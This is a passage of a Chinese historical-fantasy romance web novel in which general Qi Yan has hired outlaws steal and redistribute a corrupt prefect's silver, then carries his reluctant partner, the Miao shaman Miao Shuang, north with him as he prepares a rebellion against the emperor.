祁雁环顾四周:“现在诸位总能听我说话了吧?” 胡子大汉服下伤药,缓过来了些,他撑着刀站起身来:“你说,到底要我们帮你做什么事?” 祁雁:“我得到情报,黔州刺史府中有一私库,里面存放了冯刺史这些年来贪污的万两白银——我要你们把这些银子盗出来给我。” “你说什么?!”有人震惊道,“你要我们去官府行窃?” “怎么,不敢吗?杀人放火你们都敢,不敢去官府偷盗?” “我们自然敢,”胡子大汉说,“只不过,你就不怕我们偷到了银子,直接卷款跑路?” 祁雁不紧不慢道:“跟我合作是长期的,偷出银子只是第一步,每做成一件事,我都会给你们相应的报酬,是偷了银子就跑逍遥一时,还是吃喝不愁享受一世,你们自己考虑。” 众人面面相觑,一时拿不定主意。 “若你们事办得漂亮,我还能想办法帮你们在黔州落上户籍,让你们不再是没头没脸的黑户,”祁雁又抛出诱饵,“还有,我手下缺人,你们若还有其他兄弟,也可以介绍来,有多少我都收。” 众人终于有些心动了,没人不想安安稳稳地过日子,浪迹天涯只是无可奈何。 “行,这活儿我们接下,”胡子大汉发了话,“我们何时行动?” “你们刚刚受了伤,回去歇息一天,明夜子时行动,”祁雁拿出一张图纸来交给他,“这是刺史府的布局图,私库的位置我已标明,得手后还在这里汇合。” “记住,量力而行,别偷得太多,小心带不回来。” 众人各自散去,过了一会儿,苗霜才从楼顶跃下:“将军在军中也是这般笼络人心的?” 祁雁叹了口气:“士兵可能还比他们好管些。” 苗霜笑道:“上至朝堂,下至江湖,北抵大漠,南达苗疆,大雍境内到处都是你的人,难怪季渊要杀你。” “夫人就别调侃我了,”祁雁轻轻揽住他的腰,有些无奈道,“现在除了手下这么百十号人,我可是一兵一卒都调不了。” 两人边说边外回走,第二天祁雁照常上值,待到夤夜,胡子大汉带着几个小弟翻墙进了刺史府,直奔冯刺史私库。 门口值夜的守卫睁一只眼闭一只眼,全当没看见有人进出,几人盗完银两,在事先约定好的地方和祁雁汇合。 他们把盗出的白银放进钱箱,因为一次能带出的银两有限,总计只盗出三千多两。 “那私库里的银子可不止万两,还有各种珠宝和布匹,这狗官也真能贪,”胡子大汉愤然道,“银子我们帮你盗出来了,接下来要干什么?” 祁雁又打开另外一个钱箱,里面是满满一箱铜钱:“一两银换十文钱,你们自己拿吧。” “一两银子换十文铜钱?”有人傻了眼,“这买卖也太亏本了吧!你耍我们啊!” 胡子大汉一脚把他踹到了地上:“闭嘴!答应的事就要办到,让你拿你就拿,哪那么多废话!” 那小弟摔了个狗啃泥,赶紧爬起来,委屈道:“大哥……” “叫谁大哥呢!”胡子大汉横眉瞪眼,“从今往后,苗霜大哥才是我们的大哥,叫苗大哥!” 祁雁:“……” 倒也不必。 小弟苦哈哈地赔笑道:“苗、苗大哥……” 众人用银子换完了铜钱,均分下来,每个人竟分到一贯还多,沉甸甸地揣在身上,他们一脸陶醉地闻着铜臭味:“我这辈子都没见过这么多钱!” 虽然分完了报酬,但那箱铜钱其实没少多少,祁雁又将一张图纸交给他们:“接下来,按图纸上标注的数目将这些铜钱分发给城内外百姓,记得,只准在夜间行动,要做得神不知鬼不觉,尤其不能让官府发现,每发一户,我再给你们十文钱。” 那是一张整个黔州城及周边的布局图,精确到每一户,每户标注的数目不等,钱不算多,但也不算少。 这是祁雁按照每户缴纳的赋税计算出的数额,不能给得太多,否则人们会贪得无厌,也不能给得太少,不然难解燃眉之急,不多不少,刚好够平安度过这个冬天。 有人不太确定地问:“发一户就给十文?” 祁雁点了点头:“黔州人口有限,你们可要抓紧了。” 话音刚落,人们纷纷掏出钱袋装钱,热情高涨地干活去了。 便这样,“天降铜钱”平等地撒落在黔地每一户贫苦人家,先是黔州城,而后是黔州治下各县,再如法炮制蔓延向周边各州,盗州廨、撒钱财,百姓们缴了税款,家里快要揭不开锅,没过两天就看到救命钱放在了窗台上,次日又有人低价兜售粮食,人们迫不及待地拿钱换米,高高兴兴回家去。 没人知道这些钱粮从哪里来,也没人知道发钱卖粮的是什么人,人们只道是财神显灵,家家对着财神画像磕头谢恩。 只有被盗的各地贪官们叫苦不迭,偏偏被盗的银钱几经倒手,已经辨别不出来源,想收回都难,有贪官勃然大怒,强行收缴了百姓得到的铜钱和低价买到的米,没想到这些东西在官府里一过夜,第二天就全部变成了石头和沙子,而百姓家里的钱粮却分文未少。 人们愈发相信这是财神显灵,财神爷只眷顾穷苦人,不赐福贪官污吏。 走投无路的贪官们不得已,派人状告到了观察使堂下,求观察使为大家做主,祁雁却眉目一凛,怒道:“放肆!一州官吏一年的俸禄加起来才多少,跟我说你们州廨丢了白银万两,意思是有人贪污钱款?” 各州县瞬间吓得再不敢吭声,谁人不知冯观察使是个贪官,贪官竟然问他们贪没贪,那只能是嫌他们贪得太多,影响他自己贪,大贪官要是想榨干他们这些小贪官,手段多得是,他们要是再追究下去,说不定这些年来努力贪下的钱一分都留不住。 于是他们只能含泪吃了这个哑巴亏,当作无事发生。 而那些被祁雁雇来的江湖人,从一开始的十几人,发展到后来百余人,劫富济贫还能逃脱官府制裁,让他们个个对“苗大哥”五体投地,唯苗大哥马首是瞻,苗大哥让往东他们绝不往西。 最终,祁雁将他们安排在了各州县,作为他的眼线监督当地官员。 等到“财神”结束赐福,一切尘埃落定时,年关也已到来。 刚帮曹参军把最后一个女孩送归家中的赵戎返回州廨,听完最近发生的事,有点迷茫地摸了摸后脑勺:“我怎么算不明白账了呢?银钱换铜钱又换米……这最后咱到底支出了多少?究竟谁赚了,谁赔了?” 姜茂叹气:“你还是去置办年货吧。” “哎。” * 除夕当晚。 祁雁站在高楼上眺望万家灯火,黔州城虽远远谈不上富庶,此刻却也温馨祥和。 去年除夕,他被季渊一道圣旨远发南蛮之地,今年除夕,他也算是在这黔中站稳了脚跟,一道之事皆在掌控之中。 是时候回晏安城了。 苗霜倚在栏杆边上,又披上了他的狐狸毛披风,呼吸在寒冬中化作白气:“准备得怎么样了?” 祁雁向他看来。 “万事俱备,只欠东风。” 第103章 第 103 章 挑个好日子死遁 苗霜垂下眼帘。 这一天果然还是要来了啊。 杀季渊, 夺帝位,报仇雪恨,一统天下……属于祁雁的那个结局, 终于是要来了。 看来,他也是时候该功成身退。 祁雁答应他的事已经办得差不多了, 他也没道理再强行扣留他,那人该是天上鹰, 而非笼中雀,想把他永远留在苗疆,是不可能的。 既然如此,就分道扬镳吧。 见他反应平淡,祁雁不禁有些疑惑:“怎么,夫人不高兴吗?” “高兴,”苗霜打了个哈欠,“只是有点困了,将军打算守岁守到何时, 莫非真要守到天明?” “倒也不是非守不可,既然夫人困了, 那我们便回吧,这几日年节休沐,无需上值,可以好好休息一阵子了。” 两人说着下了楼,往州廨走,苗霜又道:“许久没回苗寨, 我得抽空回去看看了,虽然现在寨子里没我什么事,却也不能离开太久。” “好, 我也有事要找款首谈谈,我同夫人一起。” 祁雁虽然把管理户籍的职责交给了田语,但田语身为苗寨款首,也不能天天在州廨待着,她大部分时间还在寨中,只隔三差五来州廨看看,祁雁便又安排了另一个汉人官员,负责管理属于汉人的那部分户籍。 两人分工合作共理一职,相处得也算融洽,几个月下来,黔地混乱不堪的户籍名册已经理清了大半,在祁雁手底下干活的江湖人也顺利落上户籍,以往所犯之罪按轻重程度将功补过。 这日,苗霜和祁雁一同回到寨中,许久没见到他们的圣子急不可耐地跑出来迎接,抱住苗霜的腿就不撒手:“阿那你这段时间跑到哪里去了!都不回来看我,我还以为你不要我了呜呜呜……” 苗霜及时把他从身上拎开,没让鼻涕眼泪抹自己一身:“怎么会呢,我只是有事要忙。” “有什么事?那些粮食不是早就送回来了,阿那分明就是乐不思蜀,跟着祁将军在外卿卿我我,早就把我忘了吧。” 苗霜一挑眉梢:“圣子还学会‘乐不思蜀’‘卿卿我我’了,谁教你的词?是不是这段时间趁我不在,看了些乱七八糟的话本子?” “才、才没有!”向久脸一红,心虚地避开视线,“我一直有好好学医书,按时做功课的!” “是吗?那我现在考考你可好?” 向久登时大惊:“不要!现在不行,我还没准备好,改天……改天再考!” 说完,生怕被留下考试似的,忙不迭地跑掉了。 打发走了烦人的小屁孩,两人总算能抽身去干正事,祁雁来到田语家,看了看之前被送回来的黎新。 黎新的母亲身体不好,两年前女儿离寨后再无音信,她日日忧愁,没过几个月就离世了,现在黎新虽然归家,却已举目无亲,田语于心不忍,便收她做了女儿,现在两人住在一起。 黎新还是有些怕生,但相比刚被解救回来的时候已经好了太多,她为两人倒上茶水,用磕磕绊绊的汉话道:“大巫,恩人,请、请喝茶。” 祁雁:“多谢。” 黎新送完茶便跑出了屋子,苗霜起身跟了上去:“我再去给她检查检查身体,你们聊。” 田语看向祁雁,开口道:“祁将军一言九鼎,不但为我苗寨解决了粮米之困,还帮忙寻回了失踪多时的族人,更是将黔州州廨交给我们管理,这份恩情,我苗寨无以为报,将军若有什么需要我们苗寨出力的,请尽管开口。” “分内之事而已,款首不必客气,”祁雁笑了笑,“不过,我确有一事相求。” “将军请说。” 祁雁:“再过些时日我就要离开了,我的两个部下也随我一起走,州廨内所有事务、可用人员名册我都会交到款首手中,这段时间以来,我已经处理了不少积压事务,官员们也各司其职,州廨之内井然有序,待我们走后,还请款首另择人才,填补空缺。” 田语点了点头:“我明白。” “说完公事,接下来是私事,”祁雁继续道,“我离开时,还想带一人走。” 他不说田语也知道是谁,她顿了顿,有些迟疑:“并非我不愿,只是……大巫对我们来说至关重要,还望将军再考虑考虑。” “没有大巫时,苗寨不也同样正常运转?”祁雁分毫不让,“前任款首启用禁蛊已是天理不容,若苗寨长时间依赖大巫,苗民们是否又会觉得,他们没有大巫不行?我并非质疑田款首,只是人的寿数终有尽时,待您百年之后,又如何继续约束后人呢?” 田语沉默下来。 “退一万步讲,苗霜是我夫人,我们既是拜堂夫妻,又怎可天涯两隔?” 田语叹口气:“我明白了,但我无法向将军做出担保,我会尊重大巫本人的意见。” “如此便好,多谢款首了。” 祁雁离开田语家,苗霜竟还没回来,问了问黎新,黎新说大巫刚给她诊过脉,就被族人叫走了,好像是有人进山砍柴被蛇咬了,情况十分危机。 祁雁帮不上什么忙,只好自己先回了吊脚楼,在家里等他,闲来无事,干脆修书一封,准备让姜茂跑一趟,送信给范阳陆暄。 年关一过,春天便不远了,狄历人春季最是忙碌,极少会选择入侵中原,他在这个时候起兵逼宫造反,比较安全。 明秋在一旁给他伺候笔墨,祁雁就当着他的面写完了那封密信,装入信封里,边封口边问:“到现在了,还不打算说你是谁的人吗?” 明秋低眉垂目,轻声开口道:“瑞王殿下会助将军一臂之力。” 祁雁愣了愣。 瑞王? 他一时竟没想出大雍还有哪位王爷没被季渊祸害死,仔细思索了一番才记起瑞王是谁,将信将疑道:“你是说……九殿下?你确定是他?” 明秋点了点头。 瑞王季澜,先帝第九子,也是最小的一个儿子,季渊没上位前,人们都唤季澜一声九殿下,祁雁也曾见过他几面,只是印象中,这位九殿下生性散漫无拘无束,对什么都感兴趣,唯独对皇位不感兴趣。 九殿下整日就是吃喝玩乐,蹴鞠马球投壶打牌无一不精,吟诗作赋附庸风雅也绝不缺席,但要是把他和心术权谋联系起来,只能说是风马牛不相及。 没想到……明秋背后的人竟是瑞王? 看来这位王爷也颇有城府,这些年来一直在装疯卖傻,甚至骗过了多疑的季渊,骗过了所有人,让人们真的以为他是个不学无术的纨绔。 这样的人,是友还好,若是敌…… 祁雁眯了眯眼,已经在思索自己起兵后瑞王从中作梗的可能性,明秋瞧出他的不悦,解释道:“将军放心,殿下被圣上盯得紧,军中势力殿下摸不到分毫,只在宫中有些许渗透,所能帮将军之事,也仅仅篡改情报,令陛下闭目塞听,为将军起事行方便而已。” “‘而已’?”祁雁打量着他,“能做到这种事,非季渊身边亲信之人不可为,瑞王的触角可是伸得太长了些,有这等本事,不自己当这个皇帝,却愿意帮我?” 怪不得当时季渊急着卸磨杀驴推祝公公出来送死,除了觉得祝公公权势太大已经威胁到了自己的帝位,想必还是有了新欢吧。 “殿下无心帝位,更怠于党争,只是近些年来圣上疑心病越来越重,让殿下日日觉得有把刀悬在自己头上,殿下这么做,除了为黎民苍生,更多的还是为了自保。” 祁雁直直盯着他:“但愿如你所言。” 明秋冲他颔首,退出了房间。 祁雁闭上眼,呼出一口气。 瑞王若真已经渗透到了季渊身边,想帮他行方便轻而易举,想在季渊耳边吹风构陷于他,也轻而易举。 要赌一把吗? 不知为什么,他总有种奇怪的直觉,九殿下应该是友非敌。 就算真的是敌,那瑞王的计划也该是等着他和季渊争得两败俱伤,自己再坐收渔利,不论如何,也要等到他杀了季渊之后。 兵来将挡水来土掩,鹿死谁手还未可知,且走一步看一步。 又等了半个时辰,天快黑了,苗霜才终于归家,祁雁起身迎上前:“给人看好伤了?” 苗霜点了点头:“那人被毒蛇咬伤,差点就没命了,还好家人及时去找我,这些家伙真是不听话,让他们别去毒蛇出没的地方砍柴,非说那里的木头禁烧。” 他说着拿出一瓶东西,交给祁雁:“对了,这个给你。” 祁雁伸手接过:“这是何物?” “毒。” “毒?”祁雁有些诧异,“给谁用?” “给季渊,”苗霜一挑下巴,“放心,我的确不能给季渊下毒,但这毒不是我的配的,是圣子,我教了他这么久毒理,他也算是学成出师了,把这毒涂在兵器上,哪怕只擦破一点点皮,也能让人顷刻毙命,绝无生还的可能。” 祁雁拔开塞子,瓶子里是小半瓶浅绿色的液体,他闻了闻,并没什么味道。 又紧紧把塞子塞好:“夫人这是什么意思?是觉得我杀季渊不够十拿九稳?” “以防万一而已,”苗霜道,“我没办法给季渊下蛊,你杀他,我帮不了你,有了这毒,便是万无一失。” 虽然这话说得没什么问题,但祁雁总觉得哪里奇怪,他收起了瓶子:“也好。” 苗霜没有和他过多对视,越看那张脸,心中就越会生出不舍,他怕自己看得太多,就真狠不下心来离开了。 他转过头,错开对方的视线:“我饿了,去吃饭。” 第104章 第 104 章 说好一生一世,如今想…… “好, ”祁雁笑了笑,“我让厨子给你做了酸汤鱼,许久没吃苗寨的酸汤鱼, 我也有些想了,这么冷的天气, 就适合吃点热的。” 之前跑掉的圣子也溜回来吃晚饭了,三人热热闹闹地凑了一桌, 还喝上了夏天泡的青梅酒。 在州廨住时总是不方便,好不容易回到家中,借着酒意,自然少不了一番亲热,这些天祁雁总觉得苗霜对他有些冷淡,可今夜在床上时,又变得格外热情。 于是他便以为是自己这些天忙于州中事务没顾得上苗霜,让他不高兴了,不禁更加卖力起来, 一直折腾到了天明。 第一缕晨光照进窗子时,苗霜缓缓睁开眼睛, 猩红的眼眸里倒映着面前的人。 祁雁大抵是以为他睡着了,此刻也跟着睡了,辛苦一宿想必已十分疲惫,苗霜没有吵醒他,只静静用目光注视着他。 紧密结合的部位还没有分开,浑身都透着放纵过后的懒散, 他轻轻把脸埋在祁雁肩头,身体比精神更加不舍得他离开。 仿佛多含一会儿,就能多拥有他一刻, 倦意在这样的贴嵌中慢慢上涌,眼皮不住地往一起合,他将自己沉在属于祁雁的气息和怀抱当中,也睡着了。 * 两人没羞没臊地放纵了几天,年假结束后,祁雁又回到州廨上值。 离开黔州之前他还得将手头事务进行最后的交接,田语已经提供好了人选,祁雁一一叮嘱,把所有该注意的东西写成了一本册子,交予新上任的官员。 苗霜却没跟他一起,残冬将消,春暖将至,寨子里患病的人陡然多了起来,他便以此为由留在了苗寨,让祁雁真正要出发的那天再叫他。 祁雁并没多问,反正州廨职位交接尽是些琐事,苗霜不爱管,他们便各忙各的。 这日,向久来找苗霜交今日的功课,却看到他正在收拾行李,似是某种直觉,不安瞬间漫上他的心头,他急忙来到苗霜身边:“阿那,你……你收拾东西干嘛啊?” “阿那要离开一段时间,寨子里的病人就交给圣子了,”苗霜道,“他们病得不严重,吃几副药就好,以圣子的本事,想必是信手拈来。” 向久不禁有些慌了,急忙拦在他面前:“阿那要去哪儿?该不会是要随祁将军北上,再也不回来了吧?” “不,我不跟他一起走,”苗霜笑着揉了揉他的脑袋,“我外出游玩几个月,换换心情,等我玩够了就回来,圣子在寨子里乖乖的,好好听款首的话。” “阿那要出去玩,能带我一起吗?”向久抓住他的衣角,“我不想一个人留下来……” 苗霜蹲下身哄他:“等以后有机会我再带你出去玩,这次就算了,若我们两个都走了,谁来给他们治病?” “好吧……”向久显得十分失落,“那你要早点回来哦。” 上次出寨回来后被族人扔下山崖差点摔死的经历还让他心有余悸,他其实并不是真的想跟苗霜出去,只是不想他离开。 “嗯,我会的。” 苗霜拿上自己的行李,转身离开了吊脚楼,他其实没什么东西要带,只有一些盘缠、衣服、瓶瓶罐罐、蛇之类的琐碎,装了不大的一个包袱。 他甚至没想好自己要去哪,总之得先离开苗寨再说,不然祁雁一定能把他找到。 “阿那!”向久又在身后喊,“你要出去的事祁将军知道吗!他要是问起来,我怎么回答?!” “就说我……”一个“死了”到嘴边,又忍住了,他要是真说自己死了,祁雁想必会发疯吧。 “就说我有事外出,归期不定!” 苗霜说罢,头也不回地离开了。 他顺着山路离开寨子,颇有些心不在焉,一路上都有人跟他打招呼,问他是不是要出门,他也懒得解释,只淡淡点了点头。 不知道祁雁从州廨回来,看到他跑了会是什么反应,但愿他分得清轻重缓急,别为了这个耽误他的造反计划。 苗霜垂着眼帘慢慢往前走,思绪一直不停,他也没注意自己走到了哪儿,恍然回神时,忽听到后方远远有马蹄声传来。 也许是谁骑马经过,无需在意。 他继续往前,可那笃笃之声却一直不远不近地跟着,他徒步而行,那骑马的人竟始终没有超过他。 他走那人也走,他停那人也停,就这样僵持了小半时辰,他终于忍不住回头—— 就看到某个熟悉的身影正骑在高头大马上,闲庭信步般尾随着他。 见他回头,祁雁一夹马腹追了上来:“我还以为夫人不打算发现我了,夫人这是要去哪儿,可需要我送你一程?” “……你为什么在这?”苗霜抬头看向他,“你现在应该在州廨上值。” “该交接都已经交接完了,今日我便要启程去剑南,夫人不是说待我启程时来找你?怎么我找来了,夫人又问我为何?” 苗霜:“……” “夫人该不会不打算与我一道同行吧?”祁雁策马围着他转悠,“先前我还特意去请示款首,她难道没来问你?” “就是问了,我才更加不能跟你走。” “为何?” 苗霜不想看他,把脸别向一边:“当初我们约好的,共同谋划再分道扬镳,现在既然已经事成,咱们也该大道朝天各走一边,你要当皇帝是你的事,我可没说要一直陪着你。” “可夫人之前不是撕了我的和离书?”祁雁又绕到他眼前,“夫人既然不愿与我和离,那我就得带上夫人走,不然我岂不是抛弃发妻背信弃义?自己的夫人都照顾不好,还谈当什么皇帝,还谈什么天下国家?” “……那你再写一份和离书,我现在签。” “也不可。” “又为什么?” “就算夫人现在愿意,我却已不愿意了,和离和离,自然得两人都心甘情愿才行,但凡有一方不愿,这婚就离不成,夫人说是吗?” “……”苗霜深吸一口气,终于耐心告罄,眼神变得不善起来,“你这人到底有完没完?” “明明是夫人说要与我一生一世一双人,如今怎又要弃我于不顾?” 苗霜不想再跟他浪费口舌了,冷冷道:“我若真想走,你还能拦得住我?” 他藏在袖子里的手指微动,就要给祁雁下毒,虽然祁雁现在离百毒不侵也差不远了,但暂时让他失去能力还是能做到的。 却没想到祁雁竟比他更快,毒雾还没撒出来,他就感觉腰间一紧,他竟被祁雁抓住腰带强行拽上了马,紧接着后背被用力戳了几下,他瞬间感觉身体一僵,攥着毒瓶的手指再不能动弹分毫。 ……什么? 苗霜尝试挣扎,却发现浑身都动不了了,只剩下眼珠还能转,还能开口说话。 他不禁怒道:“谁让你封我穴道了,给我解开!我给你治伤帮你恢复内力,是让你这么用的?” “非常时期当用非常手段,夫人,得罪了,”祁雁慢慢抠出他手里的药瓶,塞进了他的包裹里,又把他的包裹绑在了自己马后,“夫人日后想怎么惩罚我都行,但今天你必须得跟我走。” “凭什么?”苗霜十分火大,然而他被点了穴道动弹不得,甚至没办法回头看对方的脸,“你当自己是什么东西,你想带我走我就得答应?你征求过我的意见了吗?” “自然征求了。” “你几时征求过?和离书不算。” “就在刚刚。” 苗霜几乎要被他气死:“刚刚我分明拒绝了你,你是听不懂人话?” “夫人说,你若真想走,我岂能拦得住你,现在我拦住了,不就证明夫人其实不想走?” 苗霜:“……” 这他娘的是哪门子的歪理! “进出苗寨的路只有一条,我猜夫人不会效仿赵戎他们,从水路走,于是我便在此等你,夫人特意走得这般磨蹭,不就是在等我追上来?” 苗霜不想说话了。 祁雁慢慢把他的双手放在身前,抓住马鞍,自己则用胳膊紧紧环住他,将他箍在怀中,攥住了缰绳。 “你起兵造反是为了当皇帝,”苗霜忽然开口,“且不论大雍禁不禁男风,我是苗人,你是汉人,你若真当了皇帝,让朝臣怎么看你?” “我若真当上皇帝,一切自然由我说了算,上行下效,他们该模仿我才对。我若当不上皇帝,谁又会在意我娶谁为妻,夫人的担忧实在多余。” 苗霜叹了口气,感觉头都大了。 祁雁这口才也不知道跟谁学的,无论哪个角度都滴水不漏,还是泊雁仙尊的时候,明明三竿子打不出一个屁来。 “我就是不想跟你回中原,不行吗?我适应不了中原的气候,我的虫子在中原也存活不了,你要是真想跟我在一块儿也行,你留下来,陪我留在苗疆。” 祁雁:“可以,待我当上皇帝,就把帝都搬到苗疆,我们就可以在苗疆厮守终身。” 苗霜:“………………” 见他蔫了,祁雁不禁唇角微弯,含着笑意的嗓音在他耳边响起:“夫人不是说不喜欢我,又何必担心我?若我被朝臣刁难,夫人该高兴才是。” 他温热的鼻息打在耳畔,偏偏苗霜被点了穴道,想偏头都偏不了,只能任由那呼吸在耳根卷起一片酥|麻,顺着微微变红的皮肤一路烫进心底。 苗霜闭上眼睛:“闭嘴吧,祁雁。” 祁雁亲了亲他的耳鬓:“遵命。” 催马之声在山路上响起,祁雁一夹马腹,等待多时的神骏大马嘶鸣一声,向着前方飞奔而去。 尘沙纷扬,再不回头。 第105章 第 105 章 你的龙椅我来坐,你的…… 高头大马缓缓停在州廨大门外。 “将军, 您回来了,”赵戎立刻出门来迎他,“咱们什么时候出发?” 祁雁从马背上跳下:“吃了饭就走。” 把苗霜抓回来耽误了些时间, 现在已过晌午,按理说他们应该明天再走, 但迟则生变,万一某人又要趁夜间偷偷溜走, 他可不能给他这个机会。 “哎,饭已经准备好了,等你们半天了,快进来吧。”赵戎说着帮他牵马,却看到苗霜还坐在马背上一动未动,不禁疑惑抬头,“夫人怎么不下马?” 苗霜闭着眼睛不想搭理他。 该死的祁雁,倒是把穴道给他解开啊。 这种封穴之术他并非自己不能解,只是用蛊虫冲开穴道需要时间, 偏偏姓祁的内功太过深厚,一时半会儿竟冲不开。 祁雁把他从马背上抱了下来, 往屋里扛,赵戎神色惊疑地看着他们,没忍住问道:“将军,您该不会是……点了夫人的穴吧?” 祁雁微微一笑,没有作答。 赵戎咽了口唾沫,下意识退后了一步, 以免自己成为被殃及的池鱼:“您就不怕等夫人能动了以后给您下毒啊?我看您这是要跪搓衣板的节奏……” “夫人不愿与我同行,我只能出此下策。”祁雁把人抱进房间里,放在床榻上坐好。 “夫人不愿跟咱们走?”赵戎顿时觉得事情大条了, “您是不是干了什么对不起夫人的事,惹他生气了?” “并没有,只是夫人担心我若真当了皇帝,立异族为后会遭人诟病。” “唉,”赵戎感动得直叹气,“夫人真是心地善良,将军,您能有这么个好夫人,真是上辈子修来的福分哪。” 苗霜:“……” 真是够了。 这两人一唱一和,是以为他听不出来? “所以无论如何,我都得带上夫人一起走,共患难过,也要共富贵——赵戎,你让明秋把饭食端进来吧,我和夫人一起吃。” “好,我这就去。” 明秋和厨子昨天就到了州廨,从京都带出来的人,也会和他们一起回京都去,尤其在知道明秋是瑞王的人以后,更加不能放任他离开。 至于厨子,在苗寨待了这么久,把苗寨的菜色也都学了个淋漓尽致,苗霜吃饭本来就挑,能随时吃上家乡的菜色,应该也能高兴些。 明秋很快把饭菜端进了房间,看到被封住穴道动弹不得的苗霜,好心询问道:“需要奴婢帮忙照看吗?” 祁雁:“不必了,你去吧。” “是。” 祁雁把菜拨到饭碗里,认认真真拌了米饭,而后拿起勺子,舀了一勺递到苗霜嘴边:“夫人,张嘴。” 苗霜闭着眼睛不搭理他,任凭对方怎么塞就是不张嘴。 一路颠簸导致他没法集中精力冲穴,现在终于安静下来,只差一点就能完全冲开了。 “夫人,就算再不高兴也不能绝食吧,饭还是要吃的,乖,张嘴。” 吵死了。 苗霜眉头直跳,已是忍无可忍,终于,最后一缕封住他穴道的内力被冲开,他重新接管了这具身体,一把掐住祁雁的脖子将他狠狠按倒在床上,眼神阴森得可怕:“姓祁的,你是不是找死?” 祁雁及时把勺子放回碗里,没让碗里的饭撒出来,他被苗霜掐得呼吸有点困难,那表情堪称无辜:“夫人这是何意?下午还要赶路,我只是怕夫人饿着,在路上不舒服。” 苗霜按在他颈侧动脉上的指尖收紧,感受着他脉搏的跳动,这人心跳居然没有加快一分,好像完全不意外似的。 他不由得更加火大,看着某人这张好看又讨厌的脸就来气,唇边笑容阴沉沉的:“皇帝还没当上呢,已经想着要封后?你要封谁为后,谁答应当你的皇后了?” 祁雁被他抵住喉结,吐字有些困难,嗓音也变得低哑了些:“我若是皇帝,夫人不就是皇后?” “你想得倒美,想让我跟你一起走也行,但你的龙椅得给我坐,你的龙床得给我睡,你可敢?” 祁雁居然认真思考了一下:“也并非不可,若是夫人愿意,我当皇后你当皇帝也行。” 苗霜:“…………” 真是脑子有病。 他一脸扫兴地松开了手,面无表情地站起身来。 祁雁揉了揉自己被掐红的脖子,咳嗽两声:“夫人要去哪儿?还是先吃饭吧。” 苗霜没答,在桌边坐了下来,拿起筷子自己吃自己的。 祁雁端着饭碗来到他身边,苗霜不吃,他只得自己吃了自己拌好的饭,边吃边道:“夫人别再闹脾气了,只要你不跑,我就不再封你的穴,可好?” 苗霜冷哼一声。 他不否认,祁雁就当他默认了,下午还要赶路,两人饭也吃得快了些,从屋里出来时,看到赵戎正把苗霜的行李放上马车。 苗霜四下环顾,总觉得少了个人,问道:“姜茂呢?” “咦?”赵戎十分惊讶地回头,“将军给您解穴了?” “用得着他解?我若不想被他定住,你以为他真能奈何得了我?”苗霜没好气道。 “哦——”赵戎拖长音调,露出个恍然大悟的表情,“打情骂俏嘛,我懂我懂。” 苗霜:“……” 赵戎感觉到他想杀人的眼神,忙把话题拽回正轨:“姜茂被将军派去给范阳送信,头两天就出发了,等他把信送到还早着呢,所以咱不着急,慢慢溜达到剑南就行。” 范阳距离黔州几乎跨越整个大雍版图,就算快马加鞭也得十天半月,再加上那边回信的时间,路程又翻一倍,他们就是想着急也着急不了。 苗霜看着他往马车里装了一堆七零八碎,又问:“拖这么久,你们就不怕消息传到季渊耳朵里?” “有什么好怕的?”赵戎压低了声音,“宫里有人帮咱,您就放心吧。” 苗霜看了一眼正从身边经过的明秋。 之前祁雁跟他说了瑞王的事,也不知这位王爷的人有几分可信度,祁雁故意走得这么不紧不慢,一来是送信的确需要时间,二来,恐怕也是在试探对方吧。 若他们能平安抵达剑南,就说明那位王爷是真心想帮他们。 至少在杀季渊这一点上。 苗霜没再说什么,径自钻进了马车。 祁雁把一封写好的信交给州廨里当值的苗民:“等我们走了,记得把这封信交给款首。” 交代完所有该交代的,他也进了马车,去找苗霜,问他道:“不和族人告个别吗?” 苗霜不咸不淡道:“有什么可告别的,若此行顺利,日后终有再见时,若一去不返,现在见了也是徒增念想,没那个必要。” 祁雁:“就算我真的失败了,也会想办法把夫人送回苗寨,不会让你陪我一起死的,黔地多山脉,地势险峻,易守难攻,有夫人在,季渊不能把你们怎么样。” 苗霜莫名其妙地瞥他一眼:“那你究竟有什么必要带我走?不如现在就把我放了。” “却是不行,不论我成与败,总要有个人来见证,我祁雁此生做过许多错事,也留下过许多遗憾,唯独这一桩不曾后悔,就算终以失败告结,也虽死无怨。” 苗霜沉默。 许久才轻声开口:“天下苍生会为你见证,但不该是我。” “为什么?” 苗霜却没再答。 苍生会为他们见证,是他们,而不是他。 当年他留下祁雁一人,现在,倒是反过来了。 不过他知道那样的事并不会发生,在这个世界当中,他或许真能得到他想要的。 在那个属于祁雁的结局里,真的会有他吗? 见他不再开口,祁雁也没继续追问,撩开车帘对车外道:“赵戎,启程吧。” “好嘞将军!” 马车缓缓动了起来,驶出州廨大门。 官员们自发地来到门口送行,不仅有苗人,还有被祁雁收拾过一顿的汉人官吏,许多人红了眼眶,依依不舍地冲他们挥手道别。 “大人,千万保重啊!” “一路平安!” 祁雁摆了摆手,示意他们不必再送了,放下车帘,州廨渐渐远去,夹道两侧又响起另外一些嘈杂: “苗大哥!我们在这等你!” “大哥永远是我们的大哥!” “大哥下次回来我再找你切磋武艺,这次一定撑过十招!” 苗霜:“……” 叫错了名字的哽咽道别也被甩在身后,或许他们有朝一日会发现他们的大哥根本不叫苗霜,又或许永远都不会。 马蹄笃笃淹没了人们的声音,出城而去,一路向北。 * 次日,苗寨。 回寨的族人捎回了祁雁的信件,田语看过后,将它交给了向久。 那是一封用苗文写成的信,向久一边看,眼泪一边啪嗒啪嗒地掉了下来,打湿了平整的信纸。 “呜呜……我就知道阿那又在骗我!他明明就是跟祁将军一起走了,还骗我说他要出去玩!”向久哭得上气不接下气,“阿那这个骗子!又抛下我一个人……” 田语有些心疼地轻拍他的后背:“圣子别难过,大巫只是有更重要的事要去做,他也没有抛下圣子,终有一天他会回来的。” “真……真的吗?”向久通红着眼睛抬起头来,已经哭花了一张小脸,“阿那真的会回来吗?祁将军也会回来吗?” 田语笑了笑:“当然。” 向久抽了抽鼻子:“那好吧,我就再信他一次,要是他不回来,那我……我就再也不想他了!” 信纸上的字迹被泪水打湿了几处,但最后一行依然清晰可辨: “聚散终有时,山高水远,后会有期。” 第106章 第 106 章 借兵起事。 马车顺着官道往剑南而去。 走官道无疑会增加被发现的风险, 但黔地地势复杂,只有官道还平坦些,民间小路经年日久无人修缮, 他们的马车上带了许多银子,载重不轻, 万一陷住,很影响赶路的速度。 “将军, 咱带了这么多银子,不会被山匪劫道吧?”赵戎边赶车边问。 话音才落下不久,前方就突然杀出几道人影,截住了他们的去路。 “你可真是个乌鸦嘴,”祁雁撩开车帘,往前方张望了一下,“自己惹的祸自己解决。” 